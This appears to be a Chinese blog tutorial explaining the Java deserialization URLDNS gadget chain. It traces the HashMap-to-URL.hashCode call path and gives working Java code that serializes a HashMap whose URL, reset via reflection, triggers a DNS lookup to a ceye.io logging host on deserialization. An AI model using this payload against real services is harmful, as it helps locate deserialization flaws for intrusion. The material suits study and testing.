java反序列化---URLDNS链

目录

一、前言

二、原理分析

三、代码实现


一、前言

URLDNS链相较于其他java反序列化链是比较简单的,只需要几步调用就能触发

所以学习java反序列化,最好从URLDNS链出发,初步了解如何跟进,以及反射获取类、方法等

使用这条链可以传入一个URL,然后触发的结果就是进行一次DNS请求

为了方便通信,通常需要把数据序列化,通信完成后,再把数据反序列化,在这之中就会产生漏洞

在数据反序列化时,某些类会自动调用readObject()方法,执行里面的代码

调用链

Gadget Chain:
    HashMap.readObject()
        HashMap.putVal()
            HashMap.hash()
                URL.hashCode()

二、原理分析

在反序列化时,readObject方法内的代码会自动执行,key=URL,跟进putVal函数

java反序列化---URLDNS链_第1张图片

putVal方法调用hash()函数,再跟进hash函数

java反序列化---URLDNS链_第2张图片

发现hash函数调用的是key.hashCode(),也就是URL.hashCode(),那么我们再跟进URL的hashCode函数 

java反序列化---URLDNS链_第3张图片

如果hashCode不等于-1,就返回原值,否则执行handler.hashCode,跟进这里的hashCode 

java反序列化---URLDNS链_第4张图片

走到getHostAddress函数中,跟进

java反序列化---URLDNS链_第5张图片

又返回u.getHostAddress()方法,再跟进 

 java反序列化---URLDNS链_第6张图片

 就到了getByName,进行DNS请求

java反序列化---URLDNS链_第7张图片

这样一套操作下来,就完成了DNS请求 

三、代码实现

我们可以先写成这样看一下,按理说,我们还没有反序列化,readObject方法不会自动执行,DNS解析也就不会执行

注意:最好新建Maven项目,新建文件夹,把代码写到对应的文件夹下,不然有可能会报错

java反序列化---URLDNS链_第8张图片

public class demo {
    public static void main(String[] args) throws Exception{
        HashMap hashmap= new HashMap();
        URL url = new URL("http://tixtwe.ceye.io");
        hashmap.put(url,1);
        serialize(hashmap);
    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

但是确实是执行了,那为什么呢?

java反序列化---URLDNS链_第9张图片

这是因为Hashmap的put方法也会调用putVal函数, 然后和上面我们分析的一样,会进行DNS解析

java反序列化---URLDNS链_第10张图片

所以我们需要禁止掉put函数进行DNS解析,那怎样禁止呢?

通过这个if,我们可以让hashCode不等于-1,那就走到返回原值那里了,就不会往下执行了

java反序列化---URLDNS链_第11张图片

但问题是怎么让它不等于-1,java.net.URL中规定了hashCode=-1,并且是个私有方法

java反序列化---URLDNS链_第12张图片

这里我们可以使用反射,来修改hashCode的值

    public static void main(String[] args) throws Exception{
        HashMap hashmap= new HashMap();
        // 这里不要发起请求
        URL url = new URL("http://tixtwe.ceye.io");
        Class c = url.getClass();
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,1234);
        hashmap.put(url,1);
        serialize(hashmap);

首先创建名为hashmap和url的两个实例,getClass()获取到URL这个类

然后getDeclaredField获取到URL类中的hashCode字段,设置可修改性为true 

修改hashCode值为1234,最后调用put方法,这样修改了hashCode的值,DNS请求不会触发

java反序列化---URLDNS链_第13张图片

java反序列化---URLDNS链_第14张图片

问题解决以后,我们再说反序列化,修改代码如下

public static void main(String[] args) throws Exception{
        HashMap hashmap= new HashMap();
        URL url = new URL("http://tixtwe.ceye.io");
        Class c = Class.forName("java.net.URL");
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,1234);
        hashmap.put(url,1);
        // 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
        hashcodefile.set(url,-1);
        serialize(hashmap);
        unserialize("ser.bin");
    }

值得注意的是,我们需要将原本的hashCode值给修改回来,不然到反序列化时,readObject函数也会调用putVal和hashCode

如果不等于-1,DNS请求就不会触发,只有修改回来,才能正常调用

java反序列化---URLDNS链_第15张图片

你可能感兴趣的:(安全,java,开发语言,安全)